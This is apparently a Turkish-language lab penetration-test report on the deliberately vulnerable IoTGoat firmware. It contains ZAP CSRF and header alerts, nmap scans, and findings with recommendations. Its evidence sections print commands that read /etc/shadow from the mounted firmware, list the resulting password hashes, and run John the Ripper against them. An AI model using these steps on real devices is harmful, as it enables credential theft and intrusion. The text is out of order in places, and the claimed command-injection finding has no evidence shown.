A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.

CSRF attacks are effective in a number of situations, including:

- * The victim has an active session on the target site.
- * The victim is authenticated via HTTP auth on the target site.

	<ul style="list-style-type: none"> * The victim has an active session on the target site. * The victim is authenticated via HTTP auth on the target site. * The victim is on the same local network as the target site. <p>CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.</p>
Other info	<p>No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, _csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "luci_password" "luci_username"].</p>
Request	<p>▼ Request line and header section (273 bytes)</p> <pre>GET https://10.55.236.117/cgi-bin/luci HTTP/1.1 host: 10.55.236.117 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36</pre> <hr/> <p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p> <p>For example, use anti-CSRF packages such as the OWASP CSRFGuard.</p> <p>Phase: Implementation</p> <p>Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.</p>
	<p>user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 pragma: no-cache cache-control: no-cache referer: https://10.55.236.117/</p> <p>▼ Request body (0 bytes)</p>
Response	<p>▼ Status line and header section (253 bytes)</p> <pre>HTTP/1.1 403 Forbidden Connection: Keep-Alive Keep-Alive: timeout=20 Content-Type: text/html Cache-Control: no-cache Expires: 0 X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff content-length: 3052</pre> <p>► Response body (3052 bytes)</p> <p>Phase: Architecture and Design</p> <p>Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).</p> <p>Note that this can be bypassed using XSS.</p> <p>Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.</p> <p>Note that this can be bypassed using XSS.</p> <p>Use the ESAPI Session Management control.</p>
Evidence	<p><form method="post" action="/cgi-bin/luci"></p> <p>This control includes a component for CSRF.</p>
Solution	<p>Phase: Architecture and Design</p> <p>Do not use the GET method for any request that triggers a state</p>

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard.

Phase: Implementation

Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).

Note that this can be bypassed using XSS.

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Note that this can be bypassed using XSS.

Use the ESAPI Session Management control.

This control includes a component for CSRF.

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

- **Tavsiye:** Her forma benzersiz, öngörülemez token; token doğrulama; SameSite/HttpOnly/Secure cookie bayrakları; state-changing isteklerde POST ve Origin/Referer doğrulaması

Bulgu 6: Gereksiz Servislerin Açık Olması (Düşük)

- **Etki Alanı:** miniupnpd vb.
- **Bulgu Açıklaması:** Nmap taraması, miniupnpd gibi bazı gereksiz servislerin açık olduğunu göstermektedir. Bu servisler, cihazın saldırı yüzeyini gereksiz yere genişletmekte ve potansiyel zafiyetlere maruz bırakmaktadır.
- **Kanıt:**

```
(kali㉿kali)-[~]
$ ping 172.20.10.8
PING 172.20.10.8 (172.20.10.8) 56(84) bytes of data.
64 bytes from 172.20.10.8: icmp_seq=1 ttl=64 time=22.6 ms
64 bytes from 172.20.10.8: icmp_seq=2 ttl=64 time=16.6 ms
64 bytes from 172.20.10.8: icmp_seq=3 ttl=64 time=31.4 ms
64 bytes from 172.20.10.8: icmp_seq=4 ttl=64 time=32.8 ms
```

```
(kali㉿kali)-[~]  
$ nmap -sV 172.20.10.8  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 07:07 EDT  
Stats: 0:00:31 elapsed; 0 hosts completed (1 up), 1 undergoing SYN S  
tealth Scan  
SYN Stealth Scan Timing: About 40.10% done; ETC: 07:09 (0:00:48 rema  
ining)
```

```
Nmap scan report for 172.20.10.8  
Host is up (0.034s latency).  
Not shown: 995 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      Dropbear sshd (protocol 2.0)  
53/tcp    open  domain   dnsmasq 2.73  
80/tcp    open  http     LuCI Lua http config  
443/tcp   open  ssl/http LuCI Lua http config  
5000/tcp  open  upnp     MiniUPnP 2.1 (UPnP 1.1)  
1 service unrecognized despite returning data. If you know the servi  
ce/version, please submit the following fingerprint at https://nmap.  
org/cgi-bin/submit.cgi?new-service :  
SF-Port5000-TCP:V=7.95%I=7%D=8/25%Time=68AC4778%P=x86_64-pc-linux-gn  
u%r(Ge  
SF:nericLines,124,"\\x20501\\x20Not\\x20Implemented\\r\\nContent-Type:\\x2  
0text/  
SF:html\\r\\nConnection:\\x20close\\r\\nContent-Length:\\x20149\\r\\nServer:  
\\x20Op  
SF:enWRT/18\\.06\\.2\\x20UPnP/1\\.1\\x20MiniUPnPd/2\\.1\\r\\nExt:\\r\\n\\r\\n<HT  
ML><HE  
SF:AD><TITLE>501\\x20Not\\x20Implemented</TITLE></HEAD><BODY><H1>Not\\x  
20Impl
```

```
SF:8\\.06\\.2\\x20UPnP/1\\.1\\x20MiniUPnPd/2\\.1\\r\\nExt:\\r\\n\\r\\n<HTML><HEA  
D><TIT  
SF:LE>501\\x20Not\\x20Implemented</TITLE></HEAD><BODY><H1>Not\\x20Imple  
mented  
SF:</H1>The\\x20HTTP\\x20Method\\x20is\\x20not\\x20implemented\\x20by\\x20t  
his\\x2  
SF:0server\\. </BODY></HTML>\\r\\n");  
MAC Address: B4:8C:9D:ED:51:C3 (AzureWave Technology)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at  
https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 902.97 seconds
```

- **Tavsiye:** İhtiyaç duyulmayan tüm servisler (miniupnpd, telnetd gibi) devre dışı bırakılmalıdır. Bu, cihazın saldırı yüzeyini önemli ölçüde azaltacaktır.

7. Deney Süreci ve Teknik Detaylar

- **Ağ Keşfi:** Kali Linux sanal makinesi, aynı ağda bulunan IoTGoat cihazını bulmak için Nmap ile ağ taraması yapmıştır. Bu tarama sonucunda 256 IP adresi taranmış ve 3 host'un aktif olduğu tespit edilmiştir.
 - IP Ağ Tarama Çıktısı:
 - Arayüz ve IP Bilgisi:

```
(kali@kali)-[~]
$ nmap 172.20.10.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 10:22 EDT
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 21.57% done; ETC: 10:23 (0:00:22 remaining)
Nmap scan report for 172.20.10.2
Host is up (0.00055s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
443/tcp   open  https
5000/tcp  open  upnp
MAC Address: 08:00:27:74:D7:86 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 41.04 seconds
```

- **Firmware Analizi:** Testin bir parçası olarak IOTGoat-x86.img firmware dosyası sanal makinede mount komutuyla incelenmeye çalışılmıştır. Dosya bölümlerine (

part1 ve part2) erişim sağlanarak /etc/shadow ve /etc/passwd gibi hassas dosyaların içeriği incelenmiştir.

- mount ve cat Çıktıları:

```
(aybuke@kali)-[~/İndirilenler]
$ sudo mount -o loop,offset=262144 IoTGoat-x86.img /tmp/part1
```

```
(aybuke@kali)-[~/İndirilenler]
$ mount | grep part2

(aybuke@kali)-[~/İndirilenler]
$ sudo mount -o loop,offset=17301504 IoTGoat-x86.img /tmp/part2

(aybuke@kali)-[~/İndirilenler]
$ mount | grep part2
/home/aybuke/İndirilenler/IoTGoat-x86.img on /tmp/part2 type squashfs

(aybuke@kali)-[~/İndirilenler]
$ cat /tmp/part2/etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
iotgoatuser:x:1000:1000::/root:/bin/ash
```

```
(aybuke@kali)-[~/İndirilenler]
$ cat /tmp/part2/etc/shadow
root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::
```

- **Parola Kırma:** /etc/shadow dosyasından elde edilen parola hash'leri, echo komutuyla bir dosyaya kaydedilmiş ve john (John the Ripper) aracıyla rockyou.txt parola listesi kullanılarak kırılmıştır. Bu işlem sonucunda bazı parolaların zayıf olduğu ve kırılabilirdiği doğrulanmıştır.
 - Hashlerin hashes.txt Dosyasına Kaydedilmesi:

```
(aybuke@kali)-[~/İndirilenler]
$ echo 'root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::' > hashes.txt

(aybuke@kali)-[~/İndirilenler]
$ echo 'iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::' >> hashes.txt

(aybuke@kali)-[~/İndirilenler]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
fopen: /usr/share/wordlists/rockyou.txt: No such file or directory
```

```
(aybuke@kali)-[~/İndirilenler]
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

```
(aybuke@kali)-[~/İndirilenler]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:05:35 90.94% (ETA: 09:35:28) 0g/s 38463p/s 76927c/s 76927C/s 18833863..188236
0g 0:00:05:40 92.37% (ETA: 09:35:29) 0g/s 38484p/s 76968c/s 76968C/s 123love..123listo
0g 0:00:06:05 DONE (2025-08-21 09:35) 0g/s 38577p/s 77154c/s 77154C/s ejngyhga007..*7jVamos!
Session completed.
```

```
(aybuke@kali)-[~/İndirilenler]
$ john --show hashes.txt
0 password hashes cracked, 2 left
```

```
~İndirilenler/john_log.txt - Mousepad
Dosya Düzenle Arama Görünüm Belge Yardım
1 Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
2
```

- **OWASP ZAP Taraması:** Web yönetim arayüzü, OWASP ZAP aracı kullanılarak pasif ve aktif taramalara tabi tutulmuştur. Bu taramalar sırasında

403 Forbidden yanıtları alınmış, ancak aynı zamanda CSRF, Content Security Policy ve diğer güvenlik açıklarına dair uyarılar verilmiştir.

- ZAP Arayüzü:

About this report

Report parameters

Contexts

No contexts were selected, so all contexts were included by default.

Sites

The following sites were included:

- https://10.55.236.117
- http://10.55.236.117

(If no sites were selected, all sites were included by default.)

An included site must also be within one of the included contexts for its data to be included in the report.

Risk levels

Included: High, Medium, Low, Informational

Excluded: None

Confidence levels

Included: User Confirmed, High, Medium, Low

Excluded: User Confirmed, High, Medium, Low, False Positive

Alert counts by site and risk

This table shows, for each site for which one or more alerts were raised, the number of alerts raised at each risk level.

Alerts with a confidence level of "False Positive" have been excluded from these counts.

(The numbers in brackets are the number of alerts raised for the site at or above that risk level.)

		Risk			
		High (= High)	Medium (>= Medium)	Low (>= Low)	Informational (>= Informational)
Site	https://10.55.236.117	0 (0)	1 (1)	1 (2)	4 (6)
	http://10.55.236.117	0 (0)	2 (2)	1 (3)	1 (4)

Alert counts by alert type

This table shows the number of alerts of each alert type, together with the alert type's risk level.

(The percentages in brackets represent each count as a percentage, rounded to one decimal place, of the total number of alerts included in this report.)

Alert type	Risk	Count
Absence of Anti-CSRF Tokens	Medium	2 (20.0%)
Content Security Policy (CSP) Header Not Set	Medium	7 (70.0%)
Missing Anti-clickjacking Header	Medium	2 (20.0%)
Strict-Transport-Security Header Not Set	Low	12 (120.0%)
X-Content-Type-Options Header Missing	Low	8 (80.0%)
Authentication Request Identified	Informational	3 (30.0%)
Information Disclosure - Suspicious Comments	Informational	1 (10.0%)
Modern Web Application	Informational	2 (20.0%)
Modern Web Application	Informational	2 (20.0%)
Re-examine Cache-control Directives	Informational	1 (10.0%)
User Agent Fuzzer	Informational	36 (360.0%)
Total		10

Alerts

Risk=Medium, Confidence=High (1)

http://10.55.236.117 (1)
Content Security Policy (CSP) Header Not Set (1)
► GET http://10.55.236.117

- **Yönetici Özeti**
- Yapılan test sonucunda, IoTGoat cihazında kritik seviyede güvenlik açıkları tespit edilmiştir. En ciddi bulgu, cihazın web yönetim arayüzünde bulunan **komut enjeksiyonu zafiyetidir**. Bu açık, bir saldırganın cihaza uzaktan tam yetkili (root) erişim sağlamasına olanak tanımıştır. Bununla birlikte, cihazın güncel olmayan yazılım sürümleri (dnsmasq 2.73), yetkisiz erişime açık servisler (miniupnpd) ve parola güvenliği zafiyetleri (varsayılan/hardcoded şifreler) de genel güvenlik duruşunu olumsuz etkilemektedir.
- Bu bulgular, bir saldırganın cihazı ele geçirerek ağ trafiğini manipüle etmesine, hassas bilgilere erişmesine veya cihazı bir botnet'in parçası haline getirmesine yol açabilecek yüksek riskler taşımaktadır. Aşağıda detaylandırılan bulguların acilen giderilmesi, kurumsal siber güvenlik duruşunu önemli ölçüde güçlendirecektir.
- **Tavsiye Özeti**

- **Komut Enjeksiyonu Zafiyeti:** Cihazın web arayüzündeki CGI scriptlerinde kullanılan parametreler için sıkı bir girdi doğrulama (input validation) ve sanitizasyon uygulanmalıdır.
- **Varsayılan ve Hardcoded Şifreler:** Firmware'de gömülü olan varsayılan şifreler kaldırılmalı, ilk kurulumda kullanıcıya güçlü ve karmaşık bir parola oluşturma zorunluluğu getirilmelidir.
- **Eski Yazılımlar:** dnsmasq 2.73 gibi bilinen zafiyetleri içeren eski yazılım sürümleri derhal en son ve güvenli sürüme yükseltilmelidir.
- **SSL Sertifikaları:** Yönetim arayüzü için benzersiz, geçerli ve bir CA tarafından imzalanmış SSL sertifikaları kullanılmalıdır.
- **Gereksiz Servisler:** Kullanılmayan veya gereksiz olan tüm servisler (miniupnpd, telnetd gibi) devre dışı bırakılarak saldırı yüzeyi küçültülmelidir.

Risk Matrisi

Risk	Olasılık	Etki	Risk Seviyesi
Komut Enjeksiyonu (LuCI Arayüzü)	Yüksek	Çok Yüksek (Root yetkisi, tam kontrol)	Kritik
Varsayılan/Hardcoded Şifreler	Yüksek	Yüksek (Kolay ele geçirilme, kalıcı arka kapı)	Yüksek
Eski Yazılım Sürümü (dnsmasq 2.73)	Orta	Yüksek (Bilinen RCE açıkları, CVE'ler)	Orta
Eksik Web Güvenlik Başlıkları (CSP, HSTS, X-Frame-Options)	Orta	Orta (XSS, Clickjacking, MITM riskleri)	Orta
Anti-CSRF Koruma Eksikliği	Orta	Orta (Yetkisiz işlemler, kullanıcı kötüye kullanımı)	Orta
Gereksiz Servisler (miniupnpd, telnetd)	Düşük	Orta (Saldırı yüzeyini artırır, zafiyet zincirinde kullanılabilir)	Düşük-Orta